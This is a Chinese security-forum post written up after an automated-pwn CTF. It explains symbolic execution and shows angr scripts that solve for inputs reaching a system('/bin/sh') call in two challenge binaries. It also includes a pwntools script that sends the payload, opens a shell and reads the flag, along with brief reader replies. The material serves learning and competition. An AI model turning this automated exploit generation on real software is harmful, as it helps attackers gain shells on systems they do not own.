首页
社区
课程
招聘
[原创]符号执行在自动化Pwn中的简单利用
发表于: 2021-3-31 10:34 14600

[原创]符号执行在自动化Pwn中的简单利用

2021-3-31 10:34
14600

前几天去三亚打了个自动化Pwn类型的线下赛(纵横杯)。作为一个RE选手,咱也不懂fuzz和AFL,于是就整了一手符号执行来解题。虽然最后没拿到奖,但在准备比赛的过程中还是学到了很多东西,这里总结一下能纯靠符号执行解决的两种题型。

符号执行是指在不执行程序的前提下,用符号值表示程序变量的值,然后模拟程序执行来进行相关分析的技术。与具体执行不同,具体执行每次执行仅存在一条唯一的执行路径(即程序控制流),而符号执行会探索所有可能的执行路径,并用符号值表示到达该路径所需要的输入条件。
用下述程序举例:

上述代码是一个简单的c语言分支结构代码,它的输入是M,N,Q三个变量;输出是x1,x2,x3的三个变量的和。我们这里设置的条件是想看看什么样的输入向量<M,N,Q>的情况下,得到的三个输出变量的和等于3. 那么我们通过下面的树形结构来看看所有的情况:
图片描述
从上图中我们可以看到执行到每条路径的输入需要满足的条件,当R=3时,输入需要满足的条件是M != 0 && N < 5 && Q != 0

本文使用的符号执行工具是angr,有关angr的使用方法可以查看官方文档

本次纵横杯的第5题,程序非常简单,伪代码如下:
图片描述
图片描述
这题大体是个while+switch结构,只要能执行到上图中红框部分即可getshell。程序非常简单,所以可以直接用angr一把梭:

输出:
图片描述
因为angr和pwntools不兼容,所以计算payload和getshell我分成了两个脚本来写,getshell脚本:

输出:
图片描述
比赛之前也没想到有这种可以直接用angr一把梭的题。。。痛失1w奖金。

线上调试时的第一道例题,比赛前我针对这道例题的结构写了个exp,没想到比赛题的结构完全不一样,所以也没跑出来呜呜。但我觉得这道例题对我们学习符号执行帮助也很大,所以拿出讲一讲。
这题的核心是通过前面的n各分支,只能要执行到最后即可getshell:
图片描述
CFG大概是这个样子,总之非常恐怖:
图片描述
这题没法用angr直接explore,于是我在群里问了几个师傅的想法,拿到了师傅的一篇博客(赚到赚到):关于Faster的那些事...

总的来说,用符号执行解决这种分支问题有两个思路:

我这里采取的是第二种思路,因为如果考虑多条路径的情况第一种思路很难写。

这里计算avoid_list的原因是此题的分支数巨大,每一个分支条件语句都可能会使当前的路径再分支出一条新的路径,而且这是”指数级”增长的,也就是说符号执行所需要的时间和空间都会随分支数的增长而”指数级”增长,这显然是我们不愿看到的。
所以我们需要计算avoid_list,使符号执行引擎忽略某些根本不可能到达system函数的路径,这样在一定程度上避免了上述问题。

因为是自动化pwn,一开始我们并不知道system函数的地址,所以先求得system函数的地址(题型1中的exp省略了这个步骤):

然后找到哪些函数中存在call system指令,找到这些函数的地址,以及call system指令所在基本块的地址:

对调用了system函数的函数进行符号执行,也就是调用上述代码中的explore_func函数,传入目标函数的地址、system("/bin/sh")所在基本块的地址以及目标函数的CFG。

按照我们之前说的思路,首先我们要找到一条从函数入口到目标基本块的一条路径,然后将不在路径上的其他基本块地址添加到avoid_list中。实现如下:

搜索路径的方法是DFS(深度优先搜索),不了解DFS的朋友可以看一看这篇文章:图的基本算法(BFS和DFS)

得到了avoid_list之后就可以直接进行explore了:

注意这里的:

含义是采取DFS策略进行符号执行。angr默认的符号执行方式类似BFS,即一次会有多个active state同时进行step,DFS策略会使符号执行过程中一次只有一个active state进行step:
图片描述
其实我也没明白这里为什么用DFS会快一点,总之能跑就行233。

完整代码:

输出:
图片描述
getshell:

输出:
图片描述

两道题目的文件可以在附件中下载。

符号执行与fuzz结合一个比较著名的例子是Driller,我们队在比赛中也使用了Driller,可惜没达到效果。
Driller在AFL的基础上加入了动态符号执行引擎,当模糊测试发生stuck时,使用动态符号执行去突破这些限制,生成满足fuzz需求的新输入,使得fuzz能够继续执行。
总体上说,Driller结合了AFL的高效、低消耗、快速的优点和动态符号执行探索能力强的优点,又避免了AFL较难突破特殊的边界和动态符号执行路径爆炸的问题。
更详细的内容可以参考这篇文章:【Driller】Driller介绍及源码分析

int m=M, n=N, q=Q;
int x1=0,x2=0,x3=0;
if(m!=0)
{
    x1=-2;
}
if(n<12)
{
    if(!m && q)
    {
        x2=1;
    }
    x3=2;
}
assert(x1+x2+x3!=3)
int m=M, n=N, q=Q;
int x1=0,x2=0,x3=0;
if(m!=0)
{
    x1=-2;
}
if(n<12)
{
    if(!m && q)
    {
        x2=1;
    }
    x3=2;
}
assert(x1+x2+x3!=3)
 
import angr
from binascii import b2a_hex
 
def angr_run():
    proj = angr.Project('./bin5')
    state = proj.factory.entry_state()
    simgr = proj.factory.simgr(state)
    simgr.explore(find=0x08048783)
    payload = simgr.found[0].posix.dumps(0)
    print(f'payload={b2a_hex(payload)}')
 
angr_run()
import angr
from binascii import b2a_hex
 
def angr_run():
    proj = angr.Project('./bin5')
    state = proj.factory.entry_state()
    simgr = proj.factory.simgr(state)
    simgr.explore(find=0x08048783)
    payload = simgr.found[0].posix.dumps(0)
    print(f'payload={b2a_hex(payload)}')
 
angr_run()
from pwn import *
from binascii import a2b_hex
import re
 
sh = process('./bin5')
sh.sendline(a2b_hex('310a320a'))
sh.sendline('cat flag.txt')
flag = sh.recvall(timeout=5)
flag = re.findall(r'\{(.*?)\}', flag.decode())
print(f'flag=flag{{{flag[0]}}}')
from pwn import *
from binascii import a2b_hex
import re
 
sh = process('./bin5')
sh.sendline(a2b_hex('310a320a'))
sh.sendline('cat flag.txt')
flag = sh.recvall(timeout=5)
flag = re.findall(r'\{(.*?)\}', flag.decode())
print(f'flag=flag{{{flag[0]}}}')
 
 
 
proj = angr.Project(bin_path, load_options={'auto_load_libs': False})
proj_cfg = proj.analyses.CFGFast()
system_addr = get_system_addr(proj_cfg)
proj = angr.Project(bin_path, load_options={'auto_load_libs': False})
proj_cfg = proj.analyses.CFGFast()
system_addr = get_system_addr(proj_cfg)
'''
获取system函数的地址
'''
def get_system_addr(cfg):
    for func_addr in cfg.functions:
        func = cfg.functions.get(func_addr)
        if func.name == 'system':
            return func_addr
    return None
'''
获取system函数的地址
'''
def get_system_addr(cfg):
    for func_addr in cfg.functions:
        func = cfg.functions.get(func_addr)
        if func.name == 'system':
            return func_addr
    return None
if system_addr == None:
    return []
print(f'Found system function in {hex(system_addr)}.')
payload_list = []
for func_addr in proj_cfg.functions:
    try:
        func = proj_cfg.functions.get(func_addr)
        cfg = func.transition_graph
        cfg = to_supergraph(cfg)
 
        for node in cfg.nodes:
            block = proj.factory.block(node.addr)
            for inst in block.capstone.insns:
                if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):
                    target_func = func_addr
                    target_block = block.addr
                    target_cfg = cfg
                    print(f'Found target function in {hex(target_func)}')
                    print(f'Found target block in {hex(target_block)}')
                    payload_list += explore_func(proj, target_func, target_block, target_cfg)
    except Exception as ex:
        print(ex)
if system_addr == None:
    return []
print(f'Found system function in {hex(system_addr)}.')
payload_list = []
for func_addr in proj_cfg.functions:
    try:
        func = proj_cfg.functions.get(func_addr)
        cfg = func.transition_graph
        cfg = to_supergraph(cfg)
 
        for node in cfg.nodes:
            block = proj.factory.block(node.addr)
            for inst in block.capstone.insns:
                if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):
                    target_func = func_addr
                    target_block = block.addr
                    target_cfg = cfg
                    print(f'Found target function in {hex(target_func)}')
                    print(f'Found target block in {hex(target_block)}')
                    payload_list += explore_func(proj, target_func, target_block, target_cfg)
    except Exception as ex:
        print(ex)
 
'''
获取避免执行到的地址列表
关键!可以大大提高angr符号执行速度
'''
def get_avoid_list(cfg, start, target):
    if start.addr == target:
        return (True, [])
    succs = list(cfg.successors(start))
    if len(succs) == 0:
        return (False, [start.addr])
    elif len(succs) == 1:
        can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)
        if can_reach_target:
            return (True, avoid_list)
        else:
            avoid_list.append(start.addr)
            return (False, avoid_list)
    elif len(succs) == 2:
        can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)
        can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)
        if can_reach_target0 and can_reach_target1:
            return (True, [])
        elif not can_reach_target0 and not can_reach_target1:
            avoid_list = avoid_list0 + avoid_list1
            avoid_list.append(start.addr)
            return (False, avoid_list)
        else:
            avoid_list = avoid_list0 + avoid_list1
            return (True, avoid_list)
    else:
        exit(0)
'''
获取避免执行到的地址列表
关键!可以大大提高angr符号执行速度
'''
def get_avoid_list(cfg, start, target):
    if start.addr == target:
        return (True, [])
    succs = list(cfg.successors(start))
    if len(succs) == 0:
        return (False, [start.addr])
    elif len(succs) == 1:
        can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)
        if can_reach_target:
            return (True, avoid_list)
        else:
            avoid_list.append(start.addr)
            return (False, avoid_list)
    elif len(succs) == 2:
        can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)
        can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)
        if can_reach_target0 and can_reach_target1:
            return (True, [])
        elif not can_reach_target0 and not can_reach_target1:
            avoid_list = avoid_list0 + avoid_list1
            avoid_list.append(start.addr)
            return (False, avoid_list)
        else:
            avoid_list = avoid_list0 + avoid_list1
            return (True, avoid_list)
    else:
        exit(0)
 
'''
对目标函数进行符号执行,求解到达call system执行所需要的输入
'''
def explore_func(proj, target_func, target_block, target_cfg):
    can_reach_target, avoid_list = get_avoid_list(target_cfg, list(target_cfg.nodes)[0], target_block)
    state = proj.factory.call_state(target_func)
    simgr = proj.factory.simgr(state)
    simgr.use_technique(angr.exploration_techniques.DFS())
    simgr.explore(find=target_block, avoid=avoid_list)
    payload_list = []
    for found in simgr.found:
        payload_list.append(found.posix.dumps(0))
    return payload_list
'''

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-3-31 17:55 被34r7hm4n编辑 ,原因:
上传的附件:
  • bin5 (5.48kb,57次下载)
  • bin1 (53.48kb,51次下载)
收藏
免费 17
支持
分享
最新回复 (5)
雪    币: 6911
活跃值: (9069)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
2
太卷了。
2021-3-31 13:08
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
2021-4-6 09:38
0
雪    币: 26245
活跃值: (63297)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
4
感谢分享~
2021-4-6 10:00
0
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
5
感谢分享
2021-4-6 11:21
0
雪    币: 499
活跃值: (2189)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
6
niu 感谢您的分析和分享
2021-4-6 15:21
0
游客
登录 | 注册 方可回帖
返回
//